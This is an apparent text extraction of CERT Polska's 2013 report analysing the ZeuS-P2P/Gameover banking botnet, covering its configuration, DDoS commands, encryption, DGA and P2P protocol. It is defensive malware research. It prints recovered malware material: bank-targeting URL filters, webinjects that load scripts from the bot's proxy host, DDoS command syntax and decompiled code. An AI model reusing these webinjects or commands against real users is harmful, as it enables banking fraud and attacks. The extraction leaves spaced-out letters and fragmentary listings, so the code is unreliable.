2013-06-p2p-rap_en

8/13/2019 2013-06-p2p-rap_en

1/42

Technical report

ZeuS-P2Pmonitoring and analysis

v2013-06

8/13/2019 2013-06-p2p-rap_en

2/42

CERT Polska / 2013 Report: ZeuS P2P

Contents

1 Foreword 11.1 Historical overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.2 (Former) threat to the Polish Internet users . . . . . . . . . . . . . . . . . 11.3 How does the infected computer look like . . . . . . . . . . . . . . . . . . . 21.4 P2P Network monitoring . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31.5 Debugging, decompilation, objects and classes . . . . . . . . . . . . . . . . 41.6 Acknowledgements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.7 Dictionary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2 New features compared to classic ZeuS 62.1 Main differences . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2 Configuration section: WebFilters . . . . . . . . . . . . . . . . . . . . . . 62.3 Configuration section: Webinjects . . . . . . . . . . . . . . . . . . . . . . 8

2.3.1 PCRE implementation . . . . . . . . . . . . . . . . . . . . . . . . . 82.3.2 Mysterious variable $ PROXY SERVER HOST $ . . . . . . . . 82.3.3 Variables: $ BOTID $, $ BOTNETID $, $ SUBBOTNET $ . . . . 9

2.4 New commands in scripts: DDoS attacks . . . . . . . . . . . . . . . . . . . 112.5 Hiding the command names used in scripts . . . . . . . . . . . . . . . . . . 11

3 Data Storage configuration and binary files 123.1 Resources version control . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

3.2 Verifying the signature of resources . . . . . . . . . . . . . . . . . . . . . . 133.3 Additional encryption of records . . . . . . . . . . . . . . . . . . . . . . . . 14

4 Main thread: CreateService function 15

5 DGA (Domain Generation Algorithm) 15

6 P2P Protocol 176.1 P2P Protocol: UDP messages . . . . . . . . . . . . . . . . . . . . . . . . . 18

6.1.1 UDP 0x00, 0x01: version request . . . . . . . . . . . . . . . . . . . 206.1.2 UDP 0x02, 0x03: peer list request . . . . . . . . . . . . . . . . . . 21

6.1.3 UDP 0x04, 0x05: data fetch . . . . . . . . . . . . . . . . . . . . . . 216.1.4 UDP 0x50: super-node announcement . . . . . . . . . . . . . . . . 22

6.2 P2P Protocol: TCP messages . . . . . . . . . . . . . . . . . . . . . . . . . 226.2.1 HTTP via P2P, aka P2P-Proxy . . . . . . . . . . . . . . . . . . . . 236.2.2 TCP 0x64, 0x66: resource update request (PUSH) . . . . . . . . . . 236.2.3 TCP 0x68, 0x6A: resource request (PULL) . . . . . . . . . . . . . . 246.2.4 TCP 0xC8: super-nodes list update request (PUSH) . . . . . . . . 246.2.5 TCP 0xCC: P2P-PROXY . . . . . . . . . . . . . . . . . . . . . . . 24

2

8/13/2019 2013-06-p2p-rap_en

3/42


7 Attacks on P2P Network 257.1 Spring 2012 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

7.2 Autumn 2012 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

8 P2P Network protection: internal bot mechanisms 278.1 Static blacklist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 278.2 Connection rate limit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 278.3 Limitations for a list of neighbouring peers . . . . . . . . . . . . . . . . . . 27

9 Listings 27

10 MD5 and SHA1 of recent samples 39

3

8/13/2019 2013-06-p2p-rap_en

4/42


1 Foreword

At the beginning of 2012, we wrote about the emergence of a new version of ZeuS 1

called ZeuS-P2P or Gameover. It utilizes a P2P (Peer-to-Peer) network topology to com-municate with a hidden C&C center. This malware is still active and it has been monitoredand investigated by CERT Polska for more than a year. In the second half of 2012, it di-rectly affected the Polish users, namely that of internet banking.

One of the distinguishing features of Gameover compared to other mutations of theZeuS family is the presence of only one instance of the botnet. Standard ZeuS andits successor, Citadel were sold as so called crimeware toolkits, which is a kind of self-assembly kit. Each purchaser had to set up his own instance of a botnet. That also meantinfecting computers, collecting stolen information and giving instructions. ZeuS-P2P isnot being sold that way. Instead, there is only one instance of it, hence one botnet.

This report contains information that should enable the average user to understand thenature of the threat, and show how one can identify an infected computer. More advancedusers or malware analysts should also find some additional insight. Detailed description ofthe protocol and large sections of reconstructed code should explain the technical aspectsof the P2P network and its capabilities.

1.1 Historical overview

After the ZeuS version 2.0.8.9 source code leak2it was just a matter of time beforevarious spin-offs would start to appear. It was also expected that the new authors willimplement additional mechanisms that would improve malware. One of the newly createdvariants of ZeuS is the ZeuS-P2P/Gameover.

The authors of this version focused on eliminating the weakest link in the spyware lifecycle: the communication channel with the CnC (Command aNd Control). In classicalversions of ZeuS it is possible to define a single (or few) URLs to which the bot will try toconnect to in order to send the collected data and to download a new configuration. Thisbehavior is very simplistic and entails a risk. The server name that appears in the URL (IPaddress or domain name) can be tracked and shut down. This could result in the botmaster

permanently losing control over the botnet. The new mutation uses the P2P network tocommunicate with the CnC and to distribute the data (binary and configuration files).

1.2 (Former) threat to the Polish Internet users

From September to December 2012 entries associated with the addresses of Polish e-banking systems appeared in the configuration files of ZeuS-P2P.Gameoverhad code injec-tion rules for as much as 10 different URLs. These modifications resulted in the execution of

1CERT Polska: http://www.cert.pl/news/47112CERT Polska: http://www.cert.pl/news/3681

1

8/13/2019 2013-06-p2p-rap_en

5/42


additional JavaScript code. Initially scripts were served from http://moj.testowyprzelew.net/(Polish translation of my.testtransfer.net). It is clearly visible that the name was not

chosen at random. This domain is now taken over and sinkholed by abuse.ch. Afterwardsthe criminals switched to a new mechanism called P2P-PROXY. The anonymized partof the new configuration is shown on code [4]. This injection resulted in the appearanceof a message that tried to convince an internet banking user to transfer money to thespecified account number. Destination account numbers were fetched and displayed by themalicious JavaScript code.

On the 26th of December 2012 mentioned entries have been removed from the configu-ration file (could it be a Christmas present?). However, because this attack was active forfour months it certainly affected a large number of victims.

1.3 How does the infected computer look like

One of the most specific symptoms of this variant infection is suspicious network activ-ity. Gameovergenerates TCP and UDP traffic on high ports: from 10 000 to 30 000 (rangeshown in fig. 2). Since each infected computer is a part of a P2P network, it must have anopen both TCP and UDP ports for incoming connections. The list of open ports can bechecked with the system command netstator by using the handy tool called SysinternalsTCPView. Unfortunately, each ZeuS-like malware utilizes some camouflage techniques it injects its own code into other processes memory. Generally, code is injected into thefirst process of currently logged user in most cases it is the explorer.exeprocess.

Figure [1] below shows the window of TCPView and sample entries which should alertthe user. Because Windows (starting with version XP) have a system firewall it is alsonecessary for malware to add firewall exceptions in order to work properly. The state ofthe firewall and the list of exceptions can be viewed using the command netsh firewallshow config. Sample output from this command is shown in code [1].

C : \ > n et s h f i re w al l s ho w c o nf i g

...

P o rt c o n fi g u ra t i on f or S t an d ar d p r of i le :

Port Protocol Mode Name

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

11111 UDP Enable UDP 11111

22222 TCP Enable TCP 22222

3389 TCP Enable Remote Desktop

...

2

8/13/2019 2013-06-p2p-rap_en

6/42


Listing 1: Firewall configuration

Figure 1: TCPView and opened TCP and UDP ports

Figure 2: Histogram of observed UDP port numbers. Sample count: 100 000. 000

1.4 P2P Network monitoring

Monitoring of P2P-based botnet networks is a much easier task when compared to atraditional, centralized topology. Implementation of basic P2P network features enable theresearcher to enumerate all of the infected hosts. Our P2P network activity monitoringsystem works by sequentially connecting to one of nodes and fetching the addresses of otherinfected computers.

The histogram in figure [2] shows the UDP ports on a remote computer crawled by ourmonitoring system. Previously mentioned range is clearly visible (from 10 000 to 30 000).Non-zero values outside of the indicated range are probably a result of the actions of othermisconfigured monitoring system or traffic not related to the P2P network.

3

8/13/2019 2013-06-p2p-rap_en

7/42


1.5 Debugging, decompilation, objects and classes

Reverse engineering is the the sourceof all kinds of information about the process, algo-rithms and data structures used in the analysed software. In the case of malware, reverseengineering is generally based on the debugging, i.e. a systematic analysis of the programcode during its execution and observation of the memory changes. For an experiencedengineer reading assembly code or memory dumps is not a problem. For less skilled onesit can be a significant obstacle. Various tools make the process of code flow analysis easiere.g. by presenting the code in the form of a graph or by decompiling the code to a higherlevel language.

During the analysis of the ZeuS-P2P, we used IDA Pro along with the HexRays De-compiler. IDA Pro is considered one of the best tools for machine code disassembly. It

also has the ability to connect to the external debugger, which enables code inspection ofa running program. HexRays Decompiler allows to decompile analysed code to (almost)C language. However decompilation process is not perfect. This is mainly because ofthe changes in the machine code made during the optimization and compilation. In somecases the decompilation provides a conditional statement with a lot of logical conditionsconnected using the logical operators. The code listings in this report is slightly improvedoutput of the HexRays Decompiler.

The decompilation, because it produces a C-like code, forces the researcher to recog-nize object-like structures by hand. Machine code contains little to no information about

the classes used in the program. After the compilation all information about the classinheritance is lost. Some of the methods can only be identified by searching for the virtualfunction tables in memory. Reconstruction of class structure is largely based on finding thelocation and analysis of the constructors and destructors. The only way to determine thata function not appearing in the virtual function tables is connected with the specific class itto check if it uses the thiscallconvention and ifthisobject appears in the correct references.

Another feature lost in the process of compilation are the names. This is of course unlessthe debugging symbols were included during the compilation which is very rare practicefor malware authors. All names that appear in this report (e.g. functions, variables, data

structures, configuration file sections) are a result of our researchers work. That is unlessthey have been used in a leaked source code of ZeuS 2.0.8.9. Names are chosen to reflectthe meaning of the element.

1.6 Acknowledgements

List of people who we wanted to thank for cooperation and consultation during theresearch: Christian Rossow (Institute for Internet Security),Dennis Andriesse (VU Univer-sity Amsterdam), Tillmann Werner (The Honeynet Project), Daniel Plohmann (FraunhoferFKIE), Christian J. Dietrich (Institute for Internet Security), Herbert Bos (VU University

4

8/13/2019 2013-06-p2p-rap_en

8/42


Amsterdam), Brett Stone-Gross (Dell SecureWorks), Adrian Wiedemann ( bfk.de )

1.7 Dictionary

To allow the less advanced users to get through the technical description and in orderto not create a confusion with the terms used in the report, we present below a list of termsand their definitions.

bot / zombie a computer infected with malware.

botnet a network of infected computers (bots).

botmaster the person managing the botnet.

CnC server a server for managing the botnet.

ZeuS-P2P Network the P2P network made up of computers infected with ZeuS-P2Pmalware.

node a bot belonging to the P2P network.

super-node a P2P network node selected (by the botmaster) that can participatein the transmission of data to the CnC server.

P2P-PROXY a mechanism for the transmission of HTTP requests to the server via

a chain super-nodes in P2P networks.

P2P-resource the configuration or binary file exchanged between the nodes of theP2P network.

storage the data storage format used by ZeuS. It consists of a header and multiplerecords.

record a single element of storage structure. It contains a header and data.

5

8/13/2019 2013-06-p2p-rap_en

9/42


2 New features compared to classic ZeuS

2.1 Main differences

P2P network as it was mentioned ear-lier, the main difference is the removalof a centralized network. The data isexchanged through P2P network, whosenodes are infected computers.

DGA mechanism in case of a problemwith connecting to the P2P network,

backup mechanism is activated.

Resources signing the resources sent over the network are digitally signed using theRSA algorithm. Public key is used to verify the origin of these files and is stored insidethe bot code. This prevents distribution of fake (i.e. not signed by the botmaster)files over the P2P network.

Change in the compression algorithm. By default, the ZeuS uses ULC (open sourceimplementation of NRV algorithm). The new variant uses functions from the zliblibrary.

Additional encryption the data of each storage record is encrypted with the uniquekey.

DDoS implementation of a DDoS attack capability.

HTTP via P2P - the use of P2P as a chain of proxy servers to handle HTTP requests.

The implementation of PCRE. This allows the attackers to create rules in the con-figuration file containing regular expressions in PCRE format.

It was also observed during the analysis that much of the ZeuS 2.0.8.9 code has beenrewritten to the objective form. This is clearly visible in many listings included here.

2.2 Configuration section: WebFilters

The configuration file for each version of the ZeuS malware allows for a very flexibledefinition of bot behavior on the infected computer. The two most important sections of theconfiguration are called WebFilters and WebInjects. Section WebFilters contains alist of URL patterns for which a certain action has to be performed. Entries preceded byan exclamation mark (!) indicate that the data stolen from the website (which address

6

8/13/2019 2013-06-p2p-rap_en

10/42


matches a pattern) will not be collected. Entries preceded by the @ indicate that eachtime user clicks one the web site (which address matches a pattern) a screenshot will be

made. This mechanism helps to monitor the on-screen keyboards and other interactivesecurity-related elements. Listing [2] presents discussed configuration section decryptedfrom one of ZeuS-P2P config files. This list contains one .pl domain, namely nasza-klasa.pl. It is preceded by an exclamation mark, which means that data from this websiteis worthless for the botmaster .

1 E n t ry W e b F il t e r s :2 !http://*3 !https://server.iad.liveperson.net/*

4 !https://chatserver.comm100.com/*5 !https://fx.sbisec.co.jp/*6 !https://match2.me.dium.com/*

7 !https://clients4.google.com/*8 !https://*.mcafee.com/*9 !https://www.direktprint.de/*

10 !*.facebook.com/*

11 !*.myspace.com/*12 !*twitter.com/*13 !*.microsoft.com/*

14 !*.youtube.com/*15 !*hotbar.com*16 ! h t t p s : / / i t . m c a f e e . c o m *

17 ! h t t p s : / / t e l e m a t i c i . a g e n z i a e n t r a t e . g o v . i t *

18 ! h t t p s : / / w w w . a u t o b u s . i t *19 !https://www.vodafone.it/*20 !*punjabijanta.com/*

21 !*chat.*22 !*hi5.com23 !*musicservices.myspacecdn.com*

24 !*abcjmp.com*25 !*scanscout.com*26 !*streamstats1.blinkx.com*27 !*http://musicservices.myspacecdn.com*

28 !*mochiads.com29 !*nasza-klasa.pl*30 !*bebo.com*

31 !*erate/eventreport.asp*32 !*mcafee.com*33 !*my-etrust.com*

34 !https://*.lphbs.com/*

35 @https://*.onlineaccess*AccountOverview.aspx36 @https://bancopostaimpresaonline.poste.it/bpiol/lastFortyMovementsBalance.do?method=

loadLastFortyMovementList

37 @https://www3.csebo.it/*38 @https://qweb.quercia.com/*

39 @https://www.sparkasse.it/*40 @https://dbonline .deutsche -bank.it/*41 @https://*.cedacri.it/*42 @https://www.bancagenerali.it/*43 @https://www.csebo.it/*

44 @https://*. deutsche -bank.it/*45 @https://hbclassic.bpergroup.net/*/login46 @https://nowbankingpiccoleimprese*

47 @https://www.inbiz.intesasanpaolo.com/*48 en d

Listing 2: Configuration file - URL filters section

7

8/13/2019 2013-06-p2p-rap_en

11/42


2.3 Configuration section: Webinjects

2.3.1 PCRE implementation

This section of the configuration file contains a description of the operations performedon the content of the website. Each entry contains a list of conditions (PCRE patterns)which are compared against the URL of a visited website. This list is followed by a listof actions. They define how certain parts of the content of the website will be modified.A new feature (not present in the 2.0.8.9 version) is the ability to use regular expressionsPCRE. They can be used both in the URL patterns and in the webinject definitions. Inlisting [3] below we present a part of the configuration file that contains a simple webinject.

It works by finding the BODY tag content (line 5) and then injecting the script (line 8).1 E n t ry w e b i n j e c t :

2 c o nd i ti o n : M A TC H : ^ h t tp s : // w w w \. a d re s - p e wn eg o - b a nk u \ . co m / .*3 c o n d i ti o n : N OT - M A T C H : \ . ( g if | p n g | j p g | c ss | s w f ) ( $ | \ ? )4 data-begin5 (?P< inject >)

6 data-end7 inject -begin8

9 w i n d ow . o n e r r o r = f u n c ti o n ( m s g ) { r e t ur n t r u e }; d o c u me n t . b o d y . s t yl e . d i s p l ay = " n o n e " ;10 11 inject -end

12 .. .13 en d

Listing 3: Configuration file a webinject sample

2.3.2 Mysterious variable $ PROXY SERVER HOST $

Content injected into a website can come from the external sources. It is possible simplyby inserting the script tag with a proper src attribute. The original source of the scriptcan be obfuscated by using the new mechanism P2P-PROXY. Listing [4] presents apart of the configuration file that uses this procedure in order to inject two scripts. Suchmechanism was used during aforementioned attacks on Polish e-banking sites.

1 E n t ry w e b i n j e c t :2 c o nd i ti o n : M A TC H : ^ h t tp s : // w w w \. a dr es - j e d ne go - z - b an k ow \ . p l /. *?3 c o n d i ti o n : N O T - M A T CH : \ . ( g i f | p n g | j pg | c s s | s w f ) ( $ | \? )4 data-begin:5 (?P< inject >)6 data-end

7 inject -begin8 < s c r i pt t yp e = " t e x t / j a v as c r i p t " s r c = " h tt p : / / $ _ P R O X Y _ SE R V E R _ HO S T _ $ / p l / ? s t " > 9 < s c r i pt t y pe = " t e x t / j a v a s cr i p t " s r c = " h t t p : / / $ _ P R O X Y_ S E R V E R _H O S T _ $ / p l / ? q = 99 9 " > < / s c r ip t >

10 inject -end11 en d

Listing 4: Configuration file - usage of P2P-PROXY

8

8/13/2019 2013-06-p2p-rap_en

12/42


Bank Browser Bot Proxy-nodes

HTTP Request

content

Content hijack

code injection into content

8/13/2019 2013-06-p2p-rap_en

13/42


Figure 4: TCP connections established during the P2P-PROXY usage

chunks. The following configuration snippet uses described the aforementioned variables..

1 E n t ry w e b i n j e c t :2 c o n d i t i o n : M A T CH : ( ? :^ h t t p s : / / . * ?\ . v v \ . t he - b a n k - n a me - x x x \ . se / . * ? )3 c o nd i ti o n : N OT - M A T CH : ( ? :\ . ( gi f | pn g | jp g | cs s | sw f ) ($ | \ ?) )

4 data-begin:5 (?:

10 11 inject -end

12 en d

Listing 5: Example webinject using new variables

10

8/13/2019 2013-06-p2p-rap_en

14/42


2.4 New commands in scripts: DDoS attacks

Listing [7] presents a set of commands accepted bythe built-in script interpreter. Particular attentionshould be given to the first four entries these arecommands that were not a part of ZeuS 2.0.8.9. Theirnames suggest that the malware was extended with aDDoS capability. An analysis of a new function (list-ing [18]) shows that only two types of attacks wereimplemented: dhtudp and http.For the selected type of the attack, you can define mul-tiple destination addresses by using the ddos addressand ddos url. Listing [19] shows the main thread that

is responsible for the execution of the attack. It runsthe attacking function at a specified interval. dhtudpattack (see listing [20]) sends a UDP packet to thespecified address. Botmaster must also specify theport range for the attack. http attack (see listing [21])sends a POST or GET request to the specified URL.It is also possible to specify the POST content body.The listing below shows a syntax for the new com-mands. This is the result of the reverse engineering offunctions used to perform the attacks.

ddos_type d d o s _ ad d r e s s < d st - a d d r > < s rc - p o r t > < d st - p o r t >

d d o s _u r l < P O S T | GE T > < U RL > < P OS T - D A T A >ddos_execute

Listing 6: DDoS commands syntax

ddos_type

ddos_address

ddos_urlddos_execute

os_shutdown

os_rebootbot_uninstall

bot_bc_add

bot_bc_removebot_httpinject_disable

bot_httpinject_enable

fs_find_add_keywords

fs_find_executefs_pack_path

user_destroy

user_logoffuser_execute

user_cooki

user_cookies_remove

user_certs_getuser_certs_remove

user_url_block

user_url_unblockuser_homepage_set

user_emailclients_get

user_flashplayer_getuser_flashplayer_remove

Listing 7: List of identifiedcommands available in

ZeuS-P2P

2.5 Hiding the command names used in scripts

Names of the commands in the script were stored in an array of the encoded stringscalled CryptedStrings :: STRINGINFO. Coding is based on the XOR operation with a

one byte key. The key is different for every string. This structure was removed from therecent version of the malware. Instead, it introduced an array consisting of pairs: CRC32sum and a pointer to a function. Identification of the appropriate command is carried outby calculating the sum of CRC32 of each command in a script and then comparing thatto the calculated values of the entries in the array. When a matching entry is found, acorresponding function is invoked.

11

8/13/2019 2013-06-p2p-rap_en

15/42


3 Data Storage configuration and binary files

Data in ZeuS is stored in a structure named storage. It is composed of a headerSTORAGE (its structure is presented in table [2]) and records (called items). Theheader contains information about the amount of data contained in records and a checksum. Each record starts with a four four byte fields: identifier, type, size and unpackedsize. After the header is the record content. This content may be packed, that is why thereare two fields indicating size of the data. Table [1] shows a storage data structure.

Table 1: Storage structure

header STORAGE size | flags | md5 | ...

record 1 number |type | size-1 | size-2 | [[ DATA ]]

record 2 number |type | size-1 | size-2 | [[ DATA ]]

... ...

record N number |type | size-1 | size-2 | [[ DATA ]]

This structure is used for the storage and transfer of all the data, i.e. both the config-uration files and the reports sent to the control center.

3.1 Resources version control

t y pe d ef s t ru c t {B Y TE p a dd i ng [ 0 x 14 ] ;

D W O RD s i z e ;

D W O RD f l a gs ;

D W O RD v e r s io n ;B Y T E m d 5 [ 0 x 10 ] ;

} S t o r a ge H e a d e r ;

/ / z eu s - p 2p c o de/ / C E RT P o l sk a d e c om p il a ti o n

t y pe d ef s t ru c t {B Y T E r a n d Da t a [ 2 0 ] ;

D W O RD s i z e ;

D W O RD f l a gs ;

D W O RD c o u nt ;B Y T E m d 5 H as h [ 1 6 / * M D 5 H A SH _ S I Z E * / ];

} S T O R A G E ;

/ / z eu s 2 . 0. 8 .9 c od e//

Table 2: Storage structure definition in two versions of ZeuS

Gameoverversion has a different way of composing STORAGE header. Field indicatingthe number of records has been replaced by the version number represented by a 32-bitinteger. The collected data suggests that the version numbers are not increasing by anyfixed value. Figures [6] and [5] present a correlation between a version number and arelease date. After interpolation this information, one can calculate that the zero filewas released around the 1314662400 seconds Unix Epoch. This means midnight (00:00),

12

8/13/2019 2013-06-p2p-rap_en

16/42


30 August 2011 UTC. This date coincides with the first reports3 about a ZeuS version thatutilizes the UDP traffic. Figures 5 and 6 also illustrate the intervals of the binary and

configuration updates.

u s er @l in ux # d at e - d @ 13 1 46 62 4 00 - u

wto , 3 0 s ie 2 01 1 , 0 0: 00 :0 0 U TC

Listing 8: conversion of the Unix timestamp to the UTC time

Figure 5: Observed config revisions in time.

Figure 6: Observed binary revisions in time.

3.2 Verifying the signature of resources

One of the basic characteristics of P2P networks is the direct exchange of resourcesbetween its nodes. This method of data propagation provides a serious security risk. That

3abuse.ch: https://www.abuse.ch/?p=3499

13

8/13/2019 2013-06-p2p-rap_en

17/42


is why the distributed resources need to be signed. This mechanism protects the botnet only the botmaster has a private key that can sign propagated data. Listing [22] shows

the function responsible for the verification of a digital signature. It takes a pointer tothe data and its size. The public key, which is used for verification is stored in memoryin an encrypted form. The cipher is very simple and is based on the XOR function (lines6 to 13), but it prevents an inexperienced researcher from searching for the public key inprocess memory.

Figure 7: Memory dump containing public key

t y p ed e f s t r u ct _ P U B L I CK E Y S T R UC {

BY TE bT yp e;

B YT E b Ve rs io n ;

W OR D r es er ve d ;A L G _ ID a i K e yA l g ;

} B L O BH E A DE R , P U B L I CK E Y S T R UC ;

Listing 9: PUBLICKEYSTRUC structure

Listing [22] shows the code used for the signature verification. This procedure uses astandard API imported fom advapi32.dll (i.e. functions such as textbfCryptImportKeyCryptGetKeyParam CryptVerifySignatureW). Figure [7] shows the memory dumpcontaining the public key after it has been decrypted. The documentation of the functionCryptImportKeyspecifies that the data should start with the PUBLICKEYSTRUCstructure (shown on listing [9]). Individual fields of the structure are highlighted in thememory dump. The values of these fields are shown in the table below.

Field Value Constant name Description

bType 0x06 PUBLICKEYBLOB The key is a public key.

bVersion 0x02 CUR BLOB VERSION -

siKeyAlg 0x00002400 CALG RSA SIGN RSA public key signature

3.3 Additional encryption of records

As it was mentioned earlier, each record of the storage structure is additionally en-crypted. Encryption is done with a 4-byte XOR key. This key is calculated separately for

14

8/13/2019 2013-06-p2p-rap_en

18/42


each section based on three values:

Section ID

Section size

Configuration file version

Code used in the decryption process is shown below.

i n t s t o ra g e : : d e c r y p tR e c ( S t o r a ge * * p S to r , i n t i t em I D , c h a r * i n , i n t d a t aS i z e , c h a r * o u t ) {

u n i C ry p t c r y pt ;int KEY = 0 ;

K EY = i t em I D | ( d a ta S iz e < < 1 6) | ( * pS to r - > h e ad e r . ve r si o n < < 8 ) ;

c r y pt . t y p e = C R Y P T_ X O R ;c r yp t : : i ni t Ke y ( & cr yp t , K E Y , 4 ) ;

c r y pt : : u n i D e c o d er ( & c r y pt , i n , d a t aS i ze , o u t ) ;}

/ / . .. f r a g me n t k o du

i t e m Da t a = m e m : : a l l oc a t e ( i te m - > h e a d e r . u n c o m p re s s S i z e ) ;

i f ( i te m - > h e de r . t yp e & I T EM _ CO M PR E SS ) {t m p B uf = m e m : : a l l oc a t e ( i te m - > h e a d e r . d a t a Si z e ) ;

i f ( n ew Bu f = = N UL L ) g ot o F AI L ;

s t o ra g e : : d e c r y p tR e c ( p S t or a g e , i t em - > h e a d er . i d , i te m - > d a t a P o in t e r , i t em - > h e a d er .

dataSize , tmpBuf);zlib::unpack( tmpBuf , item->header. dataSize , itemData , item->header. uncompressSize);

me m :: fr ee 1 ( tm pB uf );

}//...

Listing 10: Record decryption

4 Main thread: CreateService function

A comparsion of different version of the CreateServices function is presented below.At first glance, it appears that the implementation of certain functions (e.g. thread man-agement) has been rewritten from procedural to an object-oriented version. You can alsosee where the P2P mechanism is started.

5 DGA (Domain Generation Algorithm)The DGA mechanism is activated in case of a P2P network connectivity problem. Fre-

quently, this is when the number of entries in the local peer table drops below thresholdvalue. The DGA works by generating a sequence of domains, and attempting to connectto them. Single domain names list contains 1000 entries and changes every 7 days. Thegenerated names end with one of the six TLDs: .ru, .biz, .info, .org, .net, .com. Afterselecting generated name, the bot connects to the domain and tries to get a new list ofpeers. Data obtained from the address is validated, i.e. the signature is verified using thepublic key. It is not possible to register a domain and serve a bogus list of peers. If the

15

8/13/2019 2013-06-p2p-rap_en

19/42


v o i d c o r e : : c r e a t e S e r v i c e s ( b o o l w a i t S t o p ) {t h r ea d s = n e w T h r ea d G ro u p ( ) ;i f ( c o r eD a t a :: p r o c es s F la g s & 0 x F E0 ) {

i f ( c o r eD a t a :: p r o c e ss F l ag s & 0 x 8 00 ) {

p 2 p = n e w p 2 p C l as s ( ) ;t h r e a d s . o b j e c t A s T h r e a d ( p 2 p ) ;

}i f ( c o r eD a t a :: p r o c e ss F l ag s & 0 x 0 20 ) {

g e t B a s e C o n f i g ( & t m p ) ;

}i f ( c o r eD a t a :: p r o c e ss F l ag s & 0 x 1 00 )

t h r e a d s . c r e a t e 1 ( 0 , b c : : t h r e a d , 0 , v 3 , 0 ) ;i f ( c o r eD a t a :: p r o c e ss F l ag s & 0 x 0 40 ) {

s e n de r 0 = n e w s e n de r C la s s ( 0) ;t h r e a d s . o b j e c t A s T h r e a d ( s e n d e r 0 ) ;s e n de r 1 = n e w s e n de r C la s s ( 1) ;t h r e a d s . o b j e c t A s T h r e a d ( s e n d e r 1 ) ;

}i f ( c o r eD a t a :: p r o c e ss F l ag s & 0 x 0 80 )

c o r e c o n t r o l : : c r e a t e T h r e a d s ( & t h r e a d s ) ;i f ( w a it S to p ) {

t h r e a d s . w a i t F o r A l l ( ) ;

}}}/ / s r c : C E R T P o l sk a d e c om p i la t i on

v o i d C o r e : : c r e a t e S e r v i c e s ( b o o l w a i t S t o p ) {T h r e a d s G r o u p : : c r e a t e G ro u p ( & s e r v c i e T h r e a d s ) ;i f ( c o r e D a t a . p r o c c e s s F l ag s & C D P F _ R I G H T _ AL L ) {

i f ( c o r e D a t a . p r o c c e s s F l ag s & C D P F _ R I G H T _ T C P _ S ER V E R ) {g e t B a s e C o n f i g ( & b a s e C o n f i g ) ;i f ( ( b a s e C o n f i g . f l a g s & B C F _ D I S A B L E _ T C P S E R V E R ) = = 0 )

T c p S e r v e r : : _ c r e a t e ( & s e r v c i e T h r e a d s ) ;}i f ( c o r e D a t a . p r o c c e s s F l ag s & C D P F _ R I G H T _ B A C K C O N N E CT _ S E S S I O N )

B a c k c o n n e c t B o t : : c r e a t e ( & s e r v c i e T h r e a d s ) ;i f ( c o r e D a t a . p r o c c e s s F l ag s & C D P F _ R I G H T _ S E R V E R _ SE S S I O N ) {

D y n a m i c C o n f i g : : c r e a t e ( & s e r v c i e T h r e a d s ) ;R e p o r t : : c r e a t e ( & s e r v c i e T h r e a d s ) ;

}i f ( c o r e D a t a . p r o c c e s s F l ag s & C D P F _ R I G H T _ C O N T RO L ) / / 0 x 0 8 0

C o r e C o n t r o l : : c r e a t e ( & s e r v c i e T h r e a d s ) ;i f ( w a i t S t o p ) {

T h r e a d s G r o up : : w a i t F o r A l l E x i t ( & s e r v c i e T h re a d s , I N F I N I T E ) ;T h r e a d s G r o u p : : c l o s e G r o u p ( & s e r v c i e T h r e a d s ) ;

}}}/ / s r c : Z e uS 2 . 0 .8 . 9 c o d e

Table 3: CreateServices function comparison

data passes the verification process, all entries from the list are added to the local peer table.

Pseudo-Random Domain Name Generator procedure has been changed over time.Latest decompiled version of the code is shown in listing [23].

16

8/13/2019 2013-06-p2p-rap_en

20/42


6 P2P Protocol

Figure 8: P2P Network

The greatest innovation, after which thisvariant is named, is the P2P communica-tion. Its aim is to decentralize network man-agement. Messages are transmitted betweeninfected computers, rather than directly be-tween the machine and the CnC. Each in-fected computer becomes part of the net-work (P2P-node on figure 8) and partici-pates in the data exchange. In addition, se-lected machines can be labeled as super-nodes or PROXY-nodes (p2p-super-nodeon figure 8). They participate in the datatransfer to the CnC server. Most likely theyare manually selected from the list of the longest-active, or high-bandwidth nodes.

The protocol used in the P2P network is similar to the Kademlia protocol. Each nodein the network is identified by a unique 20-byte identifier nodeID. This ID is generatedduring the first execution as an SHA1 sum of the two strings: bot ID (called CompId) andsystem ID (called GUID). Similarly to the Kademlia protocol the distance between twonodes is calculated using the XOR metric. This measure is used e.g. to select the bestnodes from the table of neighbours peers exchange mechanism (see [6.1.2]).

The P2P network is fully compatible with IPv6. Each node can have two active IPaddresses: one IPv4 and one IPv6. For each site a unique UDP port number is assigned,where the basic P2P communication takes place. Each node also has an open TCP portthat is used to exchange larger amounts of data. Listing [24] presents a code responsi-ble for connection handling. Each TCP connection is handled by a new thread (line 9),and UDP packets are handled by the main thread. In both cases, return value of ban-list::isAddrBlacklisted is checked to see if the address is not blocked. For the descriptionof this function, see [8.1].

Each P2P communication begins with a P2P packet (see table [5]). The package alwayscontains a p2p-header. It is composed of a field containing a packet type (cmd), thesending node identifier (senderID) and a unique session identifier SSID. An interestingphenomenon is the presence of a large number of random data in each message. Thenumber present in the junkSize field is generated randomly and that number of randombytes is added at the end of each packet. It is probably a feature intended to cripple theability to automatically detect the suspicious traffic using network signatures.

17

8/13/2019 2013-06-p2p-rap_en

21/42


Table 4: p2p-header structure

Size (bytes) Field name Description1 randByte random value, different from 0

1 TTL TTL field, or random value (when unused)

1 junkSize number of extra bytes at the end of the packet

1 cmd command (determines the type of packet)

20 SSID session ID

20 senderID sender node ID

Table 5: P2P Packet structure

Size(bytes) Description

44 P2P Header (see tab.[4])

0 or more The message body (depends on header.cmd)

hdr.junkSize Random bytes (appended at the end of packet)

6.1 P2P Protocol: UDP messages

